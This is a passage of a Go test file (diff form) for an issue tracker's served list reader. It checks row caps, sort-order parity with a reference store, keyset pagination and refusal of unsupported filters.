if _, err := down.reader(t).List(ctx, roomy); err == nil { + t.Error("the down-level walk accepted a cap above the limit; if the walk leg no longer diverges from " + + "local mode here, ledger row L15 is retired rather than narrowed and this control is the wrong shape") + } else { + var tooMany *storageops.ErrTooManyRows + if !errors.As(err, &tooMany) { + t.Errorf("the down-level walk failed with %v, want the *ErrTooManyRows L15 describes", err) + } + } + + // A cap TIGHTER than the limit still refuses, and the overage it reports is + // one row, because the request asked for exactly one past the cap. + _, err = push.reader(t).List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: "priority", Limit: ptrTo(5), + MaxRows: 2, MaxRowsSource: "--max-rows", + }) + var tooMany *storageops.ErrTooManyRows + if !errors.As(err, &tooMany) { + t.Fatalf("List under a cap below the limit = %v, want *ErrTooManyRows", err) + } + if tooMany.Cap != 2 || tooMany.Found != 3 || tooMany.Source != "--max-rows" { + t.Errorf("the pushdown's cap error is {Found %d, Cap %d, Source %q}, want {3, 2, \"--max-rows\"}: "+ + "the cap plus the single overage row that proves it fired", tooMany.Found, tooMany.Cap, tooMany.Source) + } + // And the same request against the reference store, so "the client refuses" + // is checkably the same refusal local mode makes rather than a private one. + _, err = local.List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: "priority", Limit: ptrTo(5), + MaxRows: 2, MaxRowsSource: "--max-rows", + }) + var localTooMany *storageops.ErrTooManyRows + if !errors.As(err, &localTooMany) { + t.Fatalf("the reference store answered a cap below the limit with %v, want *ErrTooManyRows", err) + } + if localTooMany.Found != tooMany.Found || localTooMany.Cap != tooMany.Cap { + t.Errorf("the pushdown reports {Found %d, Cap %d} and the reference {Found %d, Cap %d}", + tooMany.Found, tooMany.Cap, localTooMany.Found, localTooMany.Cap) + } + + // THE BOUNDARY: a result set exactly EQUAL to the cap has not exceeded it. + // It gets a scope of its own because it needs the match count to BE the + // cap, and the six rows above cannot supply that alongside a limit wider + // than the cap — which is the second half of the shape, since a page that + // the limit truncated would make the cap moot. + exact := listScope("maxrows-exact") + const atCapRows = 2 + for i := range atCapRows { + seedListIssue(t, ctx, c, listID("maxrows-exact", fmt.Sprintf("%02d", i)), exact, + base.Add(time.Duration(i)*time.Minute), i) + } + atCap := issueops.ListRequest{ + Labels: []string{exact}, SortBy: "priority", Limit: ptrTo(5), + MaxRows: atCapRows, MaxRowsSource: "--max-rows", + } + // THE PREMISE, checked out loud: the fixture has to put the match count + // exactly ON the cap and under the limit. If it drifted either way the + // assertion below would still pass against an overage check reading `>=`, + // which is the only defect this arm exists to catch. + wantAtCap, err := local.List(ctx, atCap) + if err != nil { + t.Fatalf("the reference store refused a result set exactly equal to the cap (%v); a cap is a bound the "+ + "result set may reach, so this arm's premise is wrong rather than the client", err) + } + if len(wantAtCap.Items) != atCapRows || wantAtCap.HasMore { + t.Fatalf("the reference answered the at-cap request with %d rows (HasMore %v), want exactly the %d seeded "+ + "ones: without matches == MaxRows < limit this arm cannot tell `>` from `>=`", + len(wantAtCap.Items), wantAtCap.HasMore, atCapRows) + } + gotAtCap, err := push.reader(t).List(ctx, atCap) + if err != nil { + t.Fatalf("List over exactly MaxRows matching rows under a wider limit = %v, want the %v the reference "+ + "answered with; a result set that REACHES the cap has not exceeded it, and refusing here turns "+ + "`bd list --limit 5 --max-rows 2` over two rows into exit 2", err, pageIDs(wantAtCap)) + } + if !slices.Equal(pageIDs(gotAtCap), pageIDs(wantAtCap)) { + t.Errorf("at the cap the pushdown answered %v and the reference %v", pageIDs(gotAtCap), pageIDs(wantAtCap)) + } + if gotAtCap.HasMore { + t.Error("a page holding every matching row reported HasMore") + } + + // THE MATRIX THIS RAN AGAINST bd-enterprise's listIssues IS NOT RUNNABLE + // HERE (S3 reconciliation, 2026-10): L15's Go-side half + // — "a capped Go-side sort has to stay a walk" — needs a published `sort` + // value sqlbuild.IsGoSideSort accepts (today, `id`), and + // GET /v0/beads/issues's own vocabulary is CLOSED to the two keyset orders + // this wire can page at all, `created` and `priority` (see the operation's + // `sort` parameter doc: "deliberately smaller than the nine values + // `bd list --sort` and GET /v0/beads/issues:query take" — every value this + // endpoint accepts is SQL-expressible by construction, so + // publishedParamEnum(wire.OpListIssues, "sort") can never contain a + // Go-side member for this matrix to range over). + // + // This does not leave L15's Go-side claim unpinned, and it does not weaken + // what the matrix proved for the wire bd-enterprise ran it against: it + // narrows the claim to a stronger, unconditional one for the OSS listIssues + // operation specifically. listSortPushdownEligible refuses pushdown for any + // SortBy outside {"", wireListSort, flaglessListSort} UNCONDITIONALLY — not + // only under a cap — so a Go-side order such as "id" never reaches + // sortedPage at all, capped or not. TestServedReaderListAppliesTheClientSide + // DisplayOrder already pins that walk-and-client-sort path end to end for + // SortBy "id", and TestServedReaderListFallsBackToTheWalkWithoutTheCapability + // pins the no-`sort`-on-the-wire half of it. What is left of this test is + // everything above: the roomy cap, the tight cap and the exact-cap boundary, + // all exercised over the one Go-side-free vocabulary this operation actually + // publishes. +} + +// TestServedReaderListOrderMatchesTheReferenceStore is the dual run that makes +// the client comparator checkable rather than plausible: the SAME ListRequest is +// answered by the reference store's own reader and by the client, and the two +// orders have to be identical for every sort the vocabulary publishes — +// INCLUDING the flagless default, which is the one nobody names and everybody +// sees (priority ASC, created DESC, id ASC). +// +// TWO OF THE ROWS ARE CLOSED, and that is what makes the `closed` sort key mean +// something. It is one of the two NULLABLE sort columns, and sqlbuild.Less +// carries a branch of its own for them — MySQL NULL-first semantics, so a NULL +// sorts first ascending and last descending — which a corpus of open rows can +// never reach, because every ClosedAt is nil and the comparator returns on the +// tie. With one closed row the branch is exercised against a real ORDER BY on +// the far side; with two it is exercised against another closed row as well. +// The listing needs AllFlag to see them at all, since a closed row is what the +// default status exclusions exist to hide. +func TestServedReaderListOrderMatchesTheReferenceStore(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("dual") + + local, err := c.reference.IssueReader() + if err != nil { + t.Fatalf("reference IssueReader(): %v", err) + } + + base := time.Now().UTC().Truncate(time.Second).Add(-7 * time.Hour) + // Priorities and creation instants deliberately disagree, and two rows share + // a priority so the tie-break tail is reachable. + for i, seed := range []struct { + tag string + priority int + }{ + {"delta", 2}, {"alpha", 0}, {"charlie", 2}, {"bravo", 1}, + } { + seedListIssue(t, ctx, c, listID("dual", seed.tag), scope, base.Add(time.Duration(i)*time.Minute), seed.priority) + } + // The two closed rows, with distinct ClosedAt instants so the `closed` sort + // orders them against EACH OTHER as well as against the four nil ones. + for i, seed := range []struct { + tag string + priority int + }{ + {"echo", 1}, {"foxtrot", 3}, + } { + at := base.Add(time.Duration(4+i) * time.Minute) + closedAt := at.Add(time.Duration(i+1) * time.Hour) + issue := &types.Issue{ + ID: listID("dual", seed.tag), Title: listID("dual", seed.tag), + Status: types.StatusClosed, Priority: seed.priority, IssueType: types.TypeTask, + Labels: []string{scope}, CreatedAt: at, UpdatedAt: at, ClosedAt: &closedAt, + } + if err := c.seedIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", issue.ID, err) + } + } + + // THE PREMISE for the closed leg, checked rather than assumed. If the closed + // rows were hidden by the default exclusions, or if `closed` did not in fact + // partition the page by nullity, every comparison below would still pass and + // the NULL branch would still be unreached — which is the failure mode a + // seeded row alone does not rule out. + closedIDs := []string{listID("dual", "echo"), listID("dual", "foxtrot")} + partitions := map[bool][]string{} + for _, reverse := range []bool{false, true} { + page, err := local.List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: "closed", Reverse: reverse, AllFlag: true, Limit: ptrTo(0), + }) + if err != nil { + t.Fatalf("reference List --sort closed (reverse %v): %v", reverse, err) + } + ids := pageIDs(page) + if len(ids) != 6 { + t.Fatalf("the reference answered --sort closed with %v; this case needs all six seeded rows, "+ + "so AllFlag is not reaching the closed ones and the NULL branch is unreachable", ids) + } + partitions[reverse] = ids + } + // Compared as SETS, because reversing flips the order WITHIN the partition + // as well as the partition's position — which is the correct behavior and + // not what this premise is about. + sorted := func(ids []string) []string { + out := append([]string(nil), ids...) + slices.Sort(out) + return out + } + want := sorted(closedIDs) + head, tail := partitions[false][:2], partitions[true][len(partitions[true])-2:] + if !slices.Equal(sorted(head), want) || !slices.Equal(sorted(tail), want) { + t.Fatalf("--sort closed put %v at the head and %v at the reversed tail, want the two closed rows %v at "+ + "both; this case needs them partitioned to one end so sqlbuild.Less's NULL-first branch decides the order", + head, tail, closedIDs) + } + + sorts := []string{"", "priority", "created", "updated", "closed", "status", "id", "title", "type", "assignee"} + for _, sortBy := range sorts { + for _, reverse := range []bool{false, true} { + req := issueops.ListRequest{Labels: []string{scope}, SortBy: sortBy, Reverse: reverse, AllFlag: true, Limit: ptrTo(0)} + want, err := local.List(ctx, req) + if err != nil { + t.Fatalf("reference List (sort %q, reverse %v): %v", sortBy, reverse, err) + } + got, err := reader.List(ctx, req) + if err != nil { + t.Fatalf("http List (sort %q, reverse %v): %v", sortBy, reverse, err) + } + if !slices.Equal(pageIDs(got), pageIDs(want)) { + t.Errorf("sort %q reverse %v: http answered %v, reference answered %v", + sortBy, reverse, pageIDs(got), pageIDs(want)) + } + } + } + + // THE SAME MATRIX UNDER A TRUNCATING LIMIT, RUN ON BOTH LEGS. + // + // Every arm above is unlimited, so all six rows come back and only their + // ORDER is at stake — which a client that fetched everything and re-sorted + // satisfies. Under a limit that truncates, the ROW SET is at stake as well, + // and it is decided by whoever applied the limit. On the pushdown leg that + // is the server, under the caller's order; on the walk leg it is still this + // client, after the walk. After S2 those are two code paths through one + // request, so both are run against the same oracle. + advertised, downLevel := listSortHandshakes(ctx, t, c) + legs := map[string]issueops.Reader{ + "pushdown": c.listSpy(t, advertised).reader(t), + "walk": c.listSpy(t, downLevel).reader(t), + } + + // THE PREMISE for the truncation, and it is exactly the ambiguity the + // unlimited arms do not have: if every sort's top three were the same three + // rows, "the client returned the reference's rows" would be satisfied by a + // client that ignored `sort` and truncated the wire's welded order. Counted + // rather than required per-arm, because some arms coinciding with the + // created order is correct and expected — `updated` here IS the created + // order, since nothing has been updated since it was seeded. + const pageLimit = 3 + welded, err := local.List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: wireListSort, AllFlag: true, Limit: ptrTo(pageLimit), + }) + if err != nil { + t.Fatalf("reference List in the welded order: %v", err) + } + weldedTop := sorted(pageIDs(welded)) + discriminating := 0 + + for _, sortBy := range sorts { + for _, reverse := range []bool{false, true} { + req := issueops.ListRequest{ + Labels: []string{scope}, SortBy: sortBy, Reverse: reverse, AllFlag: true, Limit: ptrTo(pageLimit), + } + want, err := local.List(ctx, req) + if err != nil { + t.Fatalf("reference List (sort %q, reverse %v, limit %d): %v", sortBy, reverse, pageLimit, err) + } + if len(want.Items) != pageLimit || !want.HasMore { + t.Fatalf("the reference answered (sort %q, reverse %v) with %d of six rows and HasMore %v; "+ + "this leg needs a truncating page", sortBy, reverse, len(want.Items), want.HasMore) + } + if !slices.Equal(sorted(pageIDs(want)), weldedTop) { + discriminating++ + } + for leg, reader := range legs { + got, err := reader.List(ctx, req) + if err != nil { + t.Fatalf("http %s List (sort %q, reverse %v, limit %d): %v", leg, sortBy, reverse, pageLimit, err) + } + if !slices.Equal(pageIDs(got), pageIDs(want)) { + t.Errorf("sort %q reverse %v limit %d on the %s leg: http answered %v, reference answered %v", + sortBy, reverse, pageLimit, leg, pageIDs(got), pageIDs(want)) + } + if got.HasMore != want.HasMore { + t.Errorf("sort %q reverse %v limit %d on the %s leg: http HasMore = %v, reference = %v", + sortBy, reverse, pageLimit, leg, got.HasMore, want.HasMore) + } + } + } + } + // Exactly two of the twenty arms are expected to coincide with the welded + // order — `created` and `updated`, both un-reversed, because nothing has + // been updated since it was seeded — so the count is pinned rather than + // bounded loosely. A third coincidence is the fixture drifting toward + // ambiguity, which is the thing this premise exists to catch. + if want := 2*len(sorts) - 2; discriminating != want { + t.Errorf("%d of the %d truncated arms chose a different three rows than the welded created order, want %d; "+ + "the fixture has changed how well it discriminates, and every comparison above is only as strong as "+ + "the arms that do", discriminating, 2*len(sorts), want) + } +} + +// TestServedReaderListKeysetPositionSkipsForward is D8 row 1's disposition, +// asserted: a caller-supplied position is honored by paging the created-order +// wire and discarding the rows at or before it. Both halves of the position +// matter — a filter that compared the timestamp alone would drop the +// same-second row, which is exactly how a keyset page loses records. +func TestServedReaderListKeysetPositionSkipsForward(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("keyset") + + newest, cursor, sameSecond, oldest := listID("keyset", "c"), listID("keyset", "b1"), listID("keyset", "b2"), listID("keyset", "a") + base := time.Now().UTC().Truncate(time.Second).Add(-time.Hour) + cursorAt := base.Add(30 * time.Minute) + // The priorities run OPPOSITE to the created order on purpose, and the two + // rows the position discards are the two the priority order would put + // FIRST. That is what makes the sorted leg below unambiguous: a client that + // pushed the sort down and dropped the position on the floor answers with + // the discarded pair, which shares no row with the correct answer. + for _, seed := range []struct { + id string + at time.Time + priority int + }{ + {newest, base.Add(45 * time.Minute), 0}, + {cursor, cursorAt, 1}, + {sameSecond, cursorAt, 2}, + {oldest, base, 3}, + } { + seedListIssue(t, ctx, c, seed.id, scope, seed.at, seed.priority) + } + + page, err := reader.List(ctx, issueops.ListRequest{ + Labels: []string{scope}, + SortBy: "created", + AfterCreatedAt: &cursorAt, + AfterID: cursor, + }) + if err != nil { + t.Fatalf("List from a keyset position: %v", err) + } + if want := []string{sameSecond, oldest}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List from a keyset position = %v, want %v", pageIDs(page), want) + } + + // And the position composes with the page bound rather than replacing it: + // the walk keeps going until it has enough rows PAST the position. + page, err = reader.List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: "created", + AfterCreatedAt: &cursorAt, AfterID: cursor, Limit: ptrTo(1), + }) + if err != nil { + t.Fatalf("List from a keyset position --limit 1: %v", err) + } + if want := []string{sameSecond}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List from a keyset position --limit 1 = %v, want %v", pageIDs(page), want) + } + if !page.HasMore { + t.Error("List from a keyset position --limit 1 hid a row without reporting HasMore") + } + + // AND THE POSITION SURVIVES A SORT. This is the `keep == nil` conjunct of + // the pushdown gate: the filter is a prefix discard over CREATED-ORDER + // arrival, so a page some other order truncated would run it against rows + // whose replacements were never fetched. The request below is bounded and + // in an order the wire can now be told, which is every other condition the + // fast leg wants; only the position keeps it a walk. + // + // The premise is checked out loud rather than reasoned about: the same + // request WITHOUT the position answers with the two rows the position + // discards, so an answer of [sameSecond oldest] cannot be produced by a + // client that forgot it. + // + // It is measured through the REFERENCE store rather than the subject. Asked + // of the subject, a client-side ordering bug would fire this Fatalf with a + // message blaming the fixture, and the keyset assertion it guards would + // never run — a premise that reports the subject's defect as its own drift + // is worse than no premise. + sortedFromPosition := issueops.ListRequest{ + Labels: []string{scope}, SortBy: "priority", Limit: ptrTo(2), + AfterCreatedAt: &cursorAt, AfterID: cursor, + } + unpositioned := sortedFromPosition + unpositioned.AfterCreatedAt, unpositioned.AfterID = nil, "" + referenceReader, err := c.reference.IssueReader() + if err != nil { + t.Fatalf("reference IssueReader(): %v", err) + } + ignored, err := referenceReader.List(ctx, unpositioned) + if err != nil { + t.Fatalf("reference List --sort priority --limit 2 with no position: %v", err) + } + if want := []string{newest, cursor}; !slices.Equal(pageIDs(ignored), want) { + t.Fatalf("the reference answered --sort priority --limit 2 with no position with %v, want %v; the fixture "+ + "no longer puts the discarded rows first in priority order, so the assertion below could not tell a "+ + "dropped position apart from an honored one", pageIDs(ignored), want) + } + + page, err = reader.List(ctx, sortedFromPosition) + if err != nil { + t.Fatalf("List from a keyset position --sort priority: %v", err) + } + if want := []string{sameSecond, oldest}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List from a keyset position --sort priority = %v, want %v", pageIDs(page), want) + } + if page.HasMore { + t.Error("two rows past the position under a limit of two reported HasMore") + } +} + +// TestServedReaderListPriorityKeysetPositionResumesThePriorityOrder is the +// served half of AfterPriority: a position that carries a priority is one in +// the (priority ASC, created_at DESC, id ASC) order, and the walk resumes it in +// that order — sqlbuild.KeysetPriorityCreatedAtIDPredicate's nesting, which the +// reference store applies in SQL on the far side. +// +// The fixture puts a row on each side of the position that the created pair +// alone would misplace: an older row at a HIGHER priority, which is before the +// position and must not come back, and a newer row at a LOWER priority, which +// is after it and must. A filter that dropped AfterPriority answers with the +// first and without the second. +func TestServedReaderListPriorityKeysetPositionResumesThePriorityOrder(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("pkeyset") + + topNewer, topOlder := listID("pkeyset", "p0new"), listID("pkeyset", "p0old") + cursor, sameInstant, olderPeer := listID("pkeyset", "p1a"), listID("pkeyset", "p1b"), listID("pkeyset", "p1old") + lowerNewer := listID("pkeyset", "p2new") + base := time.Now().UTC().Truncate(time.Second).Add(-time.Hour) + cursorAt := base.Add(40 * time.Minute) + for _, seed := range []struct { + id string + at time.Time + priority int + }{ + {topNewer, base.Add(50 * time.Minute), 0}, + {topOlder, base, 0}, + {cursor, cursorAt, 1}, + {sameInstant, cursorAt, 1}, + {olderPeer, base.Add(10 * time.Minute), 1}, + {lowerNewer, base.Add(55 * time.Minute), 2}, + } { + seedListIssue(t, ctx, c, seed.id, scope, seed.at, seed.priority) + } + + fromPosition := issueops.ListRequest{ + Labels: []string{scope}, SortBy: "priority", + AfterCreatedAt: &cursorAt, AfterID: cursor, AfterPriority: ptrTo(1), + } + want := []string{sameInstant, olderPeer, lowerNewer} + + // The answer is checked against the reference store as well as spelled + // out, so a disagreement says which side moved: the reference answering + // something else is the fixture or the local predicate drifting, not this + // client. + referenceReader, err := c.reference.IssueReader() + if err != nil { + t.Fatalf("reference IssueReader(): %v", err) + } + reference, err := referenceReader.List(ctx, fromPosition) + if err != nil { + t.Fatalf("reference List from a priority position: %v", err) + } + if !slices.Equal(pageIDs(reference), want) { + t.Fatalf("the reference answered a priority position with %v, want %v; the fixture no longer "+ + "discriminates the priority order from the created one", pageIDs(reference), want) + } + + page, err := reader.List(ctx, fromPosition) + if err != nil { + t.Fatalf("List from a priority position: %v", err) + } + if !slices.Equal(pageIDs(page), want) { + t.Errorf("List from a priority position = %v, want %v (the reference's answer)", pageIDs(page), want) + } + + // The position composes with the page bound, so a priority walk can page. + bounded := fromPosition + bounded.Limit = ptrTo(2) + page, err = reader.List(ctx, bounded) + if err != nil { + t.Fatalf("List from a priority position --limit 2: %v", err) + } + if want := []string{sameInstant, olderPeer}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List from a priority position --limit 2 = %v, want %v", pageIDs(page), want) + } + if !page.HasMore { + t.Error("List from a priority position --limit 2 hid a row without reporting HasMore") + } +} + +// TestServedReaderListWalksMultiplePages drives the cursor loop itself: the +// per-page size is shrunk so three rows take three round trips, and the answer +// still has to be the whole set, once each, in order. +func TestServedReaderListWalksMultiplePages(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("pages") + + restore := walkPageSize + walkPageSize = 1 + t.Cleanup(func() { walkPageSize = restore }) + + base := time.Now().UTC().Truncate(time.Second).Add(-2 * time.Hour) + var ids []string + for i, tag := range []string{"a", "b", "c", "d", "e"} { + id := listID("pages", tag) + ids = append(ids, id) + seedListIssue(t, ctx, c, id, scope, base.Add(time.Duration(i)*time.Minute), 2) + } + + page, err := reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "id", Limit: ptrTo(0)}) + if err != nil { + t.Fatalf("List across pages: %v", err) + } + if want := ids; !slices.Equal(pageIDs(page), want) { + t.Errorf("List across pages = %v, want %v exactly once each", pageIDs(page), want) + } + if page.HasMore { + t.Error("an exhausted unlimited walk reported HasMore") + } +} + +// TestServedReaderListMultiPageWalkHasNoSnapshotIsolation is ledger row L3's +// owning proof, and it pins a DEGRADATION rather than a promise. +// +// The cursor pins a POSITION, not a snapshot. A row written between page N and +// page N+1 lands ahead of the walk in created-DESC order — where the walk has +// already been — so it is absent from the answer, and local mode's single query +// could never miss it. What the walk still owes is the half that would be a bug +// rather than a documented difference: it terminates, and it returns no row +// twice. +func TestServedReaderListMultiPageWalkHasNoSnapshotIsolation(t *testing.T) { + ctx := t.Context() + c, _ := servedReader(t) + scope := listScope("interleave") + + restore := walkPageSize + walkPageSize = 1 + t.Cleanup(func() { walkPageSize = restore }) + + base := time.Now().UTC().Truncate(time.Second).Add(-4 * time.Hour) + var seeded []string + for i, tag := range []string{"a", "b", "c"} { + id := listID("interleave", tag) + seeded = append(seeded, id) + seedListIssue(t, ctx, c, id, scope, base.Add(time.Duration(i)*time.Minute), 2) + } + late := listID("interleave", "late") + + var dials int + interleaving := c.tamperedClient(t, func(req *wire.Request) { + if req.Op != wire.OpListIssues { + return + } + dials++ + if dials == 2 { + // Newer than every seeded row, so its place in the created-DESC + // order is BEHIND the walk: the page it belonged on has already + // been fetched. + seedListIssue(t, ctx, c, late, scope, time.Now().UTC().Truncate(time.Second), 2) + } + }) + reader, err := interleaving.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + + page, err := reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "created", Limit: ptrTo(0)}) + if err != nil { + t.Fatalf("List across an interleaved write: %v", err) + } + got := pageIDs(page) + if dials < 2 { + t.Fatalf("the walk took %d pages; this case needs at least two for a write to land between them", dials) + } + + seen := map[string]int{} + for _, id := range got { + seen[id]++ + } + for id, n := range seen { + if n > 1 { + t.Errorf("the walk returned %s %d times: a keyset walk must not repeat a row", id, n) + } + } + for _, id := range seeded { + if seen[id] == 0 { + t.Errorf("the walk lost %s, which existed before it started", id) + } + } + if seen[late] != 0 { + t.Errorf("the walk returned %s, which was written after it passed that position; "+ + "if the wire has gained snapshot isolation, ledger row L3 is stale rather than this test", late) + } +} + +// TestServedReaderListMaxRowsBoundsWireRowsFetched is D12: the wire publishes no +// max_rows, so the cap is enforced during page accumulation and the exact +// sentinel `bd list` classifies into exit 2 is synthesized here. +func TestServedReaderListMaxRowsBoundsWireRowsFetched(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("maxrows") + + var ids []string + for _, tag := range []string{"a", "b", "c"} { + id := listID("maxrows", tag) + ids = append(ids, id) + seedListIssue(t, ctx, c, id, scope, time.Time{}, 2) + } + + roomy, err := reader.List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: "created", Limit: ptrTo(0), + MaxRows: len(ids) + 1, MaxRowsSource: "--max-rows", + }) + if err != nil { + t.Fatalf("List under a cap the result set fits inside: %v", err) + } + if len(roomy.Items) != len(ids) { + t.Errorf("List under a roomy cap returned %v, want the three seeded rows", pageIDs(roomy)) + } + + _, err = reader.List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: "created", Limit: ptrTo(0), + MaxRows: len(ids) - 1, MaxRowsSource: "--max-rows", + }) + var tooMany *storageops.ErrTooManyRows + if !errors.As(err, &tooMany) { + t.Fatalf("List under a cap the result set exceeds = %v, want *ErrTooManyRows", err) + } + if tooMany.Cap != len(ids)-1 { + t.Errorf("cap error reports Cap = %d, want %d", tooMany.Cap, len(ids)-1) + } + if tooMany.Found != tooMany.Cap+1 { + t.Errorf("cap error reports Found = %d, want the cap plus the one overage row (%d)", tooMany.Found, tooMany.Cap+1) + } + if tooMany.Source != "--max-rows" { + t.Errorf("cap error reports Source = %q, want the attribution the request supplied", tooMany.Source) + } +} + +// TestServedReaderListEmptyPageIsWellFormedUnderALabelScope pins the page shape +// when nothing matches, on both methods that share the type. +func TestServedReaderListEmptyPageIsWellFormedUnderALabelScope(t *testing.T) { + ctx := t.Context() + _, reader := servedReader(t) + scope := listScope("empty-never-seeded") + + listed, err := reader.List(ctx, issueops.ListRequest{Labels: []string{scope}}) + if err != nil { + t.Fatalf("List matching nothing: %v", err) + } + if listed.Items == nil { + t.Error("an empty page carries a nil Items") + } + if len(listed.Items) != 0 || listed.HasMore { + t.Errorf("List matching nothing = (%v, hasMore %v)", pageIDs(listed), listed.HasMore) + } + + ready, err := reader.Ready(ctx, issueops.ReadyRequest{Labels: []string{scope}}) + if err != nil { + t.Fatalf("Ready matching nothing: %v", err) + } + if ready.Items == nil || len(ready.Items) != 0 || ready.HasMore { + t.Errorf("Ready matching nothing = (%v, hasMore %v)", pageIDs(ready), ready.HasMore) + } +} + +// TestServedReaderListStatusORSetUnderALabelScope drives the plural branch of +// ListRequest.Status end to end: a comma-separated set REPLACES the default +// exclusions rather than fighting them, and the wire carries it as one repeated +// `status` parameter the server rejoins. A set of three is deliberate — two +// entries is the smallest IN clause and would pass against a renderer that +// emitted only the first and the last. +func TestServedReaderListStatusORSetUnderALabelScope(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("status") + + open, inProgress, closed := listID("status", "open"), listID("status", "inprogress"), listID("status", "closed") + seedListIssue(t, ctx, c, open, scope, time.Time{}, 2) + for _, seed := range []struct { + id string + status types.Status + }{{inProgress, types.StatusInProgress}, {closed, types.StatusClosed}} { + issue := &types.Issue{ + ID: seed.id, Title: seed.id, Status: seed.status, Priority: 2, + IssueType: types.TypeTask, Labels: []string{scope}, + } + if err := c.seedIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", seed.id, err) + } + } + + for _, test := range []struct { + name string + status string + want []string + }{ + {"a two-status set reaches past the default closed exclusion", "closed,in_progress", []string{closed, inProgress}}, + {"a three-status set is the whole seeded scope", "open,in_progress,closed", []string{open, inProgress, closed}}, + {"whitespace around a member is the caller's, not the query's", " closed , open ", []string{closed, open}}, + } { + page, err := reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, Status: test.status, Limit: ptrTo(0)}) + if err != nil { + t.Fatalf("List --status %q (%s): %v", test.status, test.name, err) + } + got := append([]string(nil), pageIDs(page)...) + want := append([]string(nil), test.want...) + slices.Sort(got) + slices.Sort(want) + if !slices.Equal(got, want) { + t.Errorf("List --status %q = %v, want %v", test.status, pageIDs(page), test.want) + } + } +} + +// TestServedReaderDoesNotMutateTheCallerRequestOverTheWire is the role's +// request-snapshot tripwire, with the contract's IDFilter dropped. The slices +// are the point: an encoder that normalized labels into the caller's backing +// array would leave the struct header untouched and its CONTENTS changed. +func TestServedReaderDoesNotMutateTheCallerRequestOverTheWire(t *testing.T) { + ctx := t.Context() + _, reader := servedReader(t) + + build := func() (issueops.ReadyRequest, issueops.ListRequest, issueops.GetRequest) { + limit := 5 + return issueops.ReadyRequest{ + Labels: []string{"Beta", "alpha"}, + LabelsAny: []string{"gamma", " delta "}, + ExcludeLabels: []string{"omega"}, + ExcludeTypes: []string{"chore,epic", " feat "}, + MetadataFields: map[string]string{"kind": "probe"}, + Sort: "priority", + Limit: &limit, + }, issueops.ListRequest{ + Labels: []string{"Beta", "alpha"}, + LabelsAny: []string{"gamma", " delta "}, + ExcludeLabels: []string{"omega"}, + MetadataFields: map[string]string{"kind": "probe"}, + SortBy: "id", + Limit: &limit, + }, issueops.GetRequest{ID: listID("nomut", "absent")} + } + ready, list, get := build() + wantReady, wantList, wantGet := build() + + if _, err := reader.Ready(ctx, ready); err != nil { + t.Fatalf("Ready: %v", err) + } + if _, err := reader.List(ctx, list); err != nil { + t.Fatalf("List: %v", err) + } + if _, err := reader.Get(ctx, get); !errors.Is(err, issueops.ErrNotFound) { + t.Fatalf("Get on an absent id: %v", err) + } + + if !reflect.DeepEqual(ready, wantReady) { + t.Errorf("Ready mutated the caller's request:\n got %#v\nwant %#v", ready, wantReady) + } + if !reflect.DeepEqual(list, wantList) { + t.Errorf("List mutated the caller's request:\n got %#v\nwant %#v", list, wantList) + } + if !reflect.DeepEqual(get, wantGet) { + t.Errorf("Get mutated the caller's request:\n got %#v\nwant %#v", get, wantGet) + } + if *list.Limit != *wantList.Limit { + t.Errorf("the caller's Limit pointer was written through: %d", *list.Limit) + } +} + +// TestServedReaderRefusesTheFiltersTheWireCannotCarry is refuse-not-drop (L12) +// on the role, and it is the assertion the parked contract cases hand over. +// +// Each of these fields would WIDEN the answer if dropped — the caller asked a +// narrower question than the wire can put — so each has to fail, carry the +// portable sentinel a caller classifies with, and name the field in its ledger +// row so D7's third taxonomy text has something to print. +func TestServedReaderRefusesTheFiltersTheWireCannotCarry(t *testing.T) { + ctx := t.Context() + _, reader := servedReader(t) + cutoff := time.Now().UTC().Add(-time.Hour) + priority := 1 + + for _, test := range []struct { + field string + req issueops.ListRequest + }{ + {"IDFilter", issueops.ListRequest{IDFilter: listID("refuse", "a")}}, + {"ReadyFlag", issueops.ListRequest{ReadyFlag: true}}, + {"Offset", issueops.ListRequest{Offset: 1}}, + {"PinnedFlag", issueops.ListRequest{PinnedFlag: true}}, + {"PriorityMax", issueops.ListRequest{PriorityMax: &priority}}, + {"UpdatedAfter", issueops.ListRequest{UpdatedAfter: &cutoff}}, + {"TitleContains", issueops.ListRequest{TitleContains: "anything"}}, + {"ExcludeTypes", issueops.ListRequest{ExcludeTypes: []string{"chore"}}}, + } { + page, err := reader.List(ctx, test.req) + if err == nil { + t.Errorf("List with %s answered with %v instead of refusing: a dropped filter widens the set invisibly", + test.field, pageIDs(page)) + continue + } + assertServedRefusal(t, "List with "+test.field, err, test.field) + } + + if _, err := reader.Ready(ctx, issueops.ReadyRequest{Offset: 1}); err == nil { + t.Error("Ready with an Offset answered instead of refusing") + } else { + assertServedRefusal(t, "Ready with an Offset", err, "Offset") + } +} + +// seedListWisp seeds one EPHEMERAL row through the reference store, carrying +// the same label scope its durable siblings do. The flag is set here rather +// than by the caller for servedEnv.createWisp's reason: the plane is the seed +// hook's decision, not the case's. +func seedListWisp(t *testing.T, ctx context.Context, c *servedComposition, id, scope string, at time.Time, issueType types.IssueType) { + t.Helper() + issue := &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 